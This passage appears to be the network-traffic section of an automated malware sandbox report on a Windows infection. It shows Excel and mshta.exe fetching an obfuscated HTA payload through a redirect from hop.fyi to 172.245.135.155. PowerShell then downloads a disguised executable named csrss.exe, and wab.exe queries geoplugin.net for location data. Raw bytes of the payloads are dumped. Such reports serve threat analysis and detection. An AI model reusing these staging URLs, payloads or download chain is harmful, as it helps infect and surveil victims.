                                          Data Ascii: 25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%73%65%74%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%
                                          Jul 3, 2024 18:06:26.459805965 CEST1236INData Raw: 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33
                                          Data Ascii: 32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%


                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                          2192.168.2.2249163192.185.89.92802040C:\Windows\System32\mshta.exe
                                          TimestampBytes transferredDirectionData
                                          Jul 3, 2024 18:06:26.926398993 CEST343OUTGET /NlD6e HTTP/1.1
                                          Accept: */*
                                          Accept-Language: en-US
                                          UA-CPU: AMD64
                                          Accept-Encoding: gzip, deflate
                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                          Host: hop.fyi
                                          Connection: Keep-Alive
                                          Jul 3, 2024 18:06:27.481847048 CEST641INHTTP/1.1 301 Moved Permanently
                                          Date: Wed, 03 Jul 2024 16:06:27 GMT
                                          Server: Apache
                                          Cache-Control: no-cache, no-store, private
                                          Expires: -1
                                          Upgrade: h2,h2c
                                          Connection: Upgrade, Keep-Alive
                                          Location: http://172.245.135.155/xampp/eg/IEnetCache.hta
                                          Vary: Accept-Encoding
                                          Content-Encoding: gzip
                                          Access-Control-Allow-Origin: *
                                          Content-Length: 218
                                          Keep-Alive: timeout=5, max=75
                                          Content-Type: text/html; charset=UTF-8
                                          Data Raw: 1f 8b 08 00 00 00 00 00 00 03 95 91 3f 0f 82 30 10 c5 77 3f 45 ed c2 04 55 94 68 b4 b0 20 26 4e 1a 83 83 63 85 d3 92 f0 cf 72 18 fd f6 16 6a 42 e2 c6 25 cd 5d 93 eb 7b ef 97 f2 e9 ee 18 c6 d7 53 44 24 16 79 30 e1 a6 11 5d 5c 82 48 cd d8 5f 0b 40 41 12 29 54 03 e8 d3 4b bc b7 d7 94 b0 ff 05 89 58 db f0 6c b3 97 4f 15 dc 15 34 92 92 a4 2a 11 4a fd 6a b6 6d 55 ee 5b dd d2 86 b1 f9 ca 75 dc a5 e7 cc 17 fa 78 1e 7b 8b a2 ae 19 3c d8 21 2a 01 43 91 48 70 24 0a ab b7 19 7c 30 c3 1c 82 33 a4 99 82 04 b3 f2 41 b0 22 e3 24 39 33 22 06 94 0d a4 fc 56 a5 9f 81 e9 cf 84 6b 3e 0d e5 d3 71 6e 34 18 9b 4e 04 ce 2f 9a c9 a3 23 76 ff f2 05 b1 57 52 b8 ae 01 00 00
                                          Data Ascii: ?0w?EUh &NcrjB%]{SD$y0]\H_@A)TKXlO4*JjmU[ux{<!*CHp$|03A"$93"Vk>qn4N/#vWR


                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                          3192.168.2.2249164172.245.135.155802040C:\Windows\System32\mshta.exe
                                          TimestampBytes transferredDirectionData
                                          Jul 3, 2024 18:06:27.501765966 CEST422OUTGET /xampp/eg/IEnetCache.hta HTTP/1.1
                                          Accept: */*
                                          Accept-Language: en-US
                                          UA-CPU: AMD64
                                          Accept-Encoding: gzip, deflate
                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                          Range: bytes=3835-
                                          Connection: Keep-Alive
                                          Host: 172.245.135.155
                                          If-Range: "19c39-61c463a8b7ba3"
                                          Jul 3, 2024 18:06:27.998466969 CEST1236INHTTP/1.1 206 Partial Content
                                          Date: Wed, 03 Jul 2024 16:06:27 GMT
                                          Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
                                          Last-Modified: Tue, 02 Jul 2024 16:30:15 GMT
                                          ETag: "19c39-61c463a8b7ba3"
                                          Accept-Ranges: bytes
                                          Content-Length: 101694
                                          Content-Range: bytes 3835-105528/105529
                                          Keep-Alive: timeout=5, max=100
                                          Connection: Keep-Alive
                                          Content-Type: application/hta
                                          Data Raw: 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 [TRUNCATED]
                                          Data Ascii: 30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%43%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%
                                          Jul 3, 2024 18:06:27.998490095 CEST1236INData Raw: 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33
                                          Data Ascii: 32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%
                                          Jul 3, 2024 18:06:27.998500109 CEST1236INData Raw: 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33
                                          Data Ascii: 30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%
                                          Jul 3, 2024 18:06:27.998944998 CEST1236INData Raw: 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33
                                          Data Ascii: 30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%
                                          Jul 3, 2024 18:06:27.998959064 CEST1236INData Raw: 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32
                                          Data Ascii: 25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%
                                          Jul 3, 2024 18:06:27.998970032 CEST1236INData Raw: 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33
                                          Data Ascii: 32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%
                                          Jul 3, 2024 18:06:27.999813080 CEST1236INData Raw: 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33
                                          Data Ascii: 30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%
                                          Jul 3, 2024 18:06:27.999825954 CEST1236INData Raw: 34 46 25 34 41 25 37 37 25 34 43 25 37 37 25 36 31 25 34 45 25 36 31 25 35 36 25 34 38 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33
                                          Data Ascii: 4F%4A%77%4C%77%61%4E%61%56%48%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%
                                          Jul 3, 2024 18:06:27.999835968 CEST1236INData Raw: 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32
                                          Data Ascii: 25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%
                                          Jul 3, 2024 18:06:28.000560999 CEST1236INData Raw: 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33
                                          Data Ascii: 32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%
                                          Jul 3, 2024 18:06:28.003745079 CEST1236INData Raw: 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33
                                          Data Ascii: 30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%


                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                          4192.168.2.2249165172.245.135.155802196C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          TimestampBytes transferredDirectionData
                                          Jul 3, 2024 18:06:34.289733887 CEST338OUTGET /T0207W/csrss.exe HTTP/1.1
                                          Accept: */*
                                          UA-CPU: AMD64
                                          Accept-Encoding: gzip, deflate
                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                          Host: 172.245.135.155
                                          Connection: Keep-Alive
                                          Jul 3, 2024 18:06:34.804049969 CEST1236INHTTP/1.1 200 OK
                                          Date: Wed, 03 Jul 2024 16:06:34 GMT
                                          Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
                                          Last-Modified: Wed, 03 Jul 2024 04:34:38 GMT
                                          ETag: "33d829-61c5059187380"
                                          Accept-Ranges: bytes
                                          Content-Length: 3397673
                                          Keep-Alive: timeout=5, max=100
                                          Connection: Keep-Alive
                                          Content-Type: application/lnk
                                          Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 01 58 84 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 30 00 1a 82 00 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 40 00 00 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 4c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 a1 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                                          Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdXf"0 @ `L H.text `.rsrcL@@H8h@ (*:(}*(*{9*"}9*(*n(u,u}8*J(sp}8*>(oH*o*:{8o*&o*b(,*oo*b(,*oo*:{8o*&o*6{8o*"o*6~o*6~o*6~o*"o*:(2
                                          Jul 3, 2024 18:06:34.804092884 CEST1236INData Raw: 16 6f 12 00 00 06 2a 4a 02 7e 17 00 00 0a 16 6f 0e 00 00 06 75 06 00 00 01 2a 4a 02 7e 19 00 00 0a 17 6f 0e 00 00 06 75 08 00 00 01 2a 22 02 17 6f 1f 00 00 06 2a 6e 03 2d 0b 72 01 00 00 70 73 1d 00 00 0a 7a 02 03 73 1e 00 00 0a 6f 21 00 00 06 2a
                                          Data Ascii: o*J~ou*J~ou*"o*n-rpszso!*r-rpsz~oG*r-rCpsz~oG*:o/(!*r~>%rOpo"*r~?-(1(2?~?*2(*o<*&o1*(B
                                          Jul 3, 2024 18:06:34.804106951 CEST1236INData Raw: 00 00 00 02 28 0f 00 00 0a 03 75 01 00 00 01 2c 15 03 28 10 00 00 0a 2d 0d 02 03 74 01 00 00 01 7d 38 00 00 04 2a 03 75 02 00 00 01 2c 12 02 03 74 02 00 00 01 73 54 00 00 06 7d 38 00 00 04 2a 02 73 70 00 00 06 7d 38 00 00 04 02 03 6f 4a 00 00 06
                                          Data Ascii: (u,(-t}8*u,tsT}8*sp}8oJ*0$s~ou,o*0(2ou,*~*00-r/pszoo ~oG*0
                                          Jul 3, 2024 18:06:34.804591894 CEST1236INData Raw: 4b 00 00 0a 07 2a 00 13 30 04 00 e1 00 00 00 00 00 00 00 02 2d 02 14 2a 02 7e 4c 00 00 0a 6f 4d 00 00 0a 2d 1a 02 7e 43 00 00 0a 6f 4d 00 00 0a 2d 0d 02 7e 4e 00 00 0a 6f 4d 00 00 0a 2c 1f 19 8d 1f 00 00 01 25 16 7e 4e 00 00 0a a2 25 17 7e 43 00
                                          Data Ascii: K*0-*~LoM-~CoM-~NoM,%~N%~C%~L*~oM-~.oM-~/oM,%~%~/%~.*~oM-(OooM,!%(Oo%~*%
                                          Jul 3, 2024 18:06:34.804605961 CEST1236INData Raw: 2b 16 09 04 11 05 9a 6f 6a 00 00 0a 17 58 18 5a 58 0d 11 05 17 58 13 05 11 05 04 8e 69 32 e3 09 18 58 0d 2b 16 16 13 06 2b 06 11 06 17 58 13 06 11 06 04 8e 69 32 f3 09 17 58 0d 1b 8d 24 00 00 01 25 16 08 9e 13 04 06 2c 05 11 04 1a 15 9e 11 04 16
                                          Data Ascii: +ojXZXXi2X++Xi2X$%,i(k(ljX(m+?,6(lojZjX(m*(=(ljX(mXi2,>(n(ljX(m+*(=(ljX(m
                                          Jul 3, 2024 18:06:34.804620028 CEST1120INData Raw: 0a 03 02 7b 47 00 00 04 06 73 4e 00 00 06 51 2a 00 00 00 13 30 02 00 46 00 00 00 16 00 00 11 12 00 fe 15 0a 00 00 01 12 01 fe 15 0b 00 00 01 12 00 03 28 7c 00 00 0a 6f 7d 00 00 0a d1 68 7d 52 00 00 0a 12 00 17 7d 5a 00 00 0a 12 00 15 7d 7a 00 00
                                          Data Ascii: {GsNQ*0F(|o}h}R}Z}z}P}Q*0~W(g9~LoM-~DoM-~\oM,(_8~EoM,(`+y~CoM,(_+a~oM
                                          Jul 3, 2024 18:06:34.804634094 CEST1236INData Raw: 00 00 00 7d 00 00 00 9c 00 00 00 06 00 00 00 82 00 00 00 2f 00 00 00 0d 00 00 00 0c 00 00 00 01 00 00 00 1a 00 00 00 02 00 00 00 02 00 00 00 03 00 00 00 09 00 00 00 01 00 00 00 03 00 00 00 04 00 00 00 01 00 00 00 01 00 00 00 04 00 00 00 06 00 00
                                          Data Ascii: }/uCu093CYvD:OJ$5wad99"9z9d9
                                          Jul 3, 2024 18:06:34.805614948 CEST1236INData Raw: 17 0e 00 01 00 73 20 00 00 00 00 86 18 84 07 01 00 02 00 7b 20 00 00 00 00 83 08 eb 08 14 00 02 00 83 20 00 00 00 00 83 08 01 09 18 00 02 00 8c 20 00 00 00 00 83 18 84 07 26 00 03 00 94 20 00 00 00 00 83 18 84 07 2c 00 04 00 b0 20 00 00 00 00 86
                                          Data Ascii: s { & , \&2 7 !F L R W!]&!c5!i?!nM!t
                                          Jul 3, 2024 18:06:34.805629015 CEST1236INData Raw: 00 b9 24 00 00 00 00 91 00 a4 31 e9 01 71 00 cd 24 00 00 00 00 81 00 47 3f ef 01 72 00 d0 24 00 00 00 00 81 00 50 1a f5 01 73 00 d3 24 00 00 00 00 81 00 68 39 fb 01 75 00 f0 36 00 00 00 00 c6 01 d2 00 4c 00 76 00 d6 24 00 00 00 00 c6 01 d2 00 52
                                          Data Ascii: $1q$G?r$Ps$h9u6Lv$Rx$Wy$Oz$O7}$O%O2.%@3F<%1FJ%]X7iX%c[%i7
                                          Jul 3, 2024 18:06:34.805639982 CEST1236INData Raw: 11 00 00 01 00 c5 2d 00 00 01 00 0e 2f 00 00 01 00 88 3b 00 00 01 00 fb 34 00 00 01 00 b3 18 00 00 02 00 fd 0e 00 00 01 00 35 4a 00 00 01 00 19 0f 00 00 01 00 31 15 00 00 02 00 48 0c 00 00 01 00 65 49 00 00 01 00 ae 0d 00 00 01 00 31 18 00 00 02
                                          Data Ascii: -/;45J1HeI18F)*I/1_$(>7(m=R%!a.5<
                                          Jul 3, 2024 18:06:34.810899019 CEST1236INData Raw: 03 08 00 d4 00 10 03 08 00 d8 00 15 03 43 00 0b 00 4d 02 43 00 0a 00 4d 02 63 00 0b 00 4d 02 63 00 0a 00 4d 02 63 00 13 00 58 02 c0 00 0b 00 4d 02 e0 00 0b 00 4d 02 23 01 1b 00 20 03 43 01 0b 00 4d 02 c3 01 0b 00 4d 02 64 03 4b 01 4d 02 21 07 0b
                                          Data Ascii: CMCMcMcMcXMM# CMMdKM!MM9Q)HOZ/Kgx%-#(.5I8DEH


                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                          5192.168.2.2249168178.237.33.50803360C:\Program Files (x86)\Windows Mail\wab.exe
                                          TimestampBytes transferredDirectionData
                                          Jul 3, 2024 18:06:47.476444960 CEST71OUTGET /json.gp HTTP/1.1
                                          Host: geoplugin.net
                                          Cache-Control: no-cache
                                          Jul 3, 2024 18:06:48.110935926 CEST1170INHTTP/1.1 200 OK
                                          date: Wed, 03 Jul 2024 16:06:48 GMT
                                          server: Apache
                                          content-length: 962
                                          content-type: application/json; charset=utf-8
                                          cache-control: public, max-age=300
                                          access-control-allow-origin: *
                                          Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 31 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f [TRUNCATED]
                                          Data Ascii: { "geoplugin_request":"8.46.123.33", "geoplugin_status":200, "geoplugin_delay":"1ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7123", "geoplugin_longitude":"-74.0068", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}


                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                          6192.168.2.2249171192.185.89.92801252C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                          TimestampBytes transferredDirectionData
                                          Jul 3, 2024 18:06:52.448817968 CEST319OUTGET /NlD6e HTTP/1.1
                                          Accept: */*
                                          UA-CPU: AMD64
                                          Accept-Encoding: gzip, deflate
                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                          Host: hop.fyi
                                          Connection: Keep-Alive
                                          Jul 3, 2024 18:06:53.035135984 CEST641INHTTP/1.1 301 Moved Permanently
                                          Date: Wed, 03 Jul 2024 16:06:52 GMT
                                          Server: Apache
                                          Cache-Control: no-cache, no-store, private
                                          Expires: -1
                                          Upgrade: h2,h2c
                                          Connection: Upgrade, Keep-Alive
                                          Location: http://172.245.135.155/xampp/eg/IEnetCache.hta
                                          Vary: Accept-Encoding
                                          Content-Encoding: gzip
                                          Access-Control-Allow-Origin: *
                                          Content-Length: 218
                                          Keep-Alive: timeout=5, max=75
                                          Content-Type: text/html; charset=UTF-8
                                          Data Raw: 1f 8b 08 00 00 00 00 00 00 03 95 91 3f 0f 82 30 10 c5 77 3f 45 ed c2 04 55 94 68 b4 b0 20 26 4e 1a 83 83 63 85 d3 92 f0 cf 72 18 fd f6 16 6a 42 e2 c6 25 cd 5d 93 eb 7b ef 97 f2 e9 ee 18 c6 d7 53 44 24 16 79 30 e1 a6 11 5d 5c 82 48 cd d8 5f 0b 40 41 12 29 54 03 e8 d3 4b bc b7 d7 94 b0 ff 05 89 58 db f0 6c b3 97 4f 15 dc 15 34 92 92 a4 2a 11 4a fd 6a b6 6d 55 ee 5b dd d2 86 b1 f9 ca 75 dc a5 e7 cc 17 fa 78 1e 7b 8b a2 ae 19 3c d8 21 2a 01 43 91 48 70 24 0a ab b7 19 7c 30 c3 1c 82 33 a4 99 82 04 b3 f2 41 b0 22 e3 24 39 33 22 06 94 0d a4 fc 56 a5 9f 81 e9 cf 84 6b 3e 0d e5 d3 71 6e 34 18 9b 4e 04 ce 2f 9a c9 a3 23 76 ff f2 05 b1 57 52 b8 ae 01 00 00
                                          Data Ascii: ?0w?EUh &NcrjB%]{SD$y0]\H_@A)TKXlO4*JjmU[ux{<!*CHp$|03A"$93"Vk>qn4N/#vWR


                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                          7192.168.2.2249174192.185.89.92803572C:\Windows\System32\mshta.exe
                                          TimestampBytes transferredDirectionData
                                          Jul 3, 2024 18:06:53.700356007 CEST343OUTGET /NlD6e HTTP/1.1
                                          Accept: */*
                                          Accept-Language: en-US
                                          UA-CPU: AMD64
                                          Accept-Encoding: gzip, deflate
